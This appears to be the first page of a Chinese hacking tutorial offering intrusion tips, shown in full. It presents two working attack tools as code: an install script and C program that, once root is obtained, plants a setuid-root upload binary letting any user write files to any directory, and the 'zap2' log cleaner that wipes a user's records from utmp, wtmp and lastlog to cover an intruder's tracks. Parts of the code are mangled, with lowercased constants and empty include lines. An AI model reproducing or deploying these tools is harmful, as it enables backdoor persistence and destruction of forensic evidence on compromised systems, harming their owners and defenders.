黑客入侵实用技巧7则

侵入成功后，拿到root权限了，这个东东可以把他的服务器的访问权限改了，让任何人都可以上传文件 !
root 状 态 下, 运 行 install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include
main()
{
char filename[48];
printf( "this program will upload up.txt ascii file to specified file\n" );
printf( "xxx copyright reserved\n" );
printf( "where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
file *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== null ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}

2、破坏现场


进入系统后，出来以前怎么破坏现场？抹掉自己的脚印?

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器

例子:

#include
#include
#include
#include
#include
#include
#include
#include
#define wtmp_name "/usr/adm/wtmp"
#define utmp_name "/etc/utmp"
#define lastlog_name "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(utmp_name,o_rdwr))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), seek_cur);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1l;
if ((f=open(wtmp_name,o_rdwr))>=0) {

while(pos != -1l) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),l_xtnd);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1l;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),l_xtnd);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1l;
} else pos += 1l;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=null) {

if ((f=open(lastlog_name, o_rdwr)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("zap2!\n");
} else
printf("error.\n");
}

[1] [2] 下一页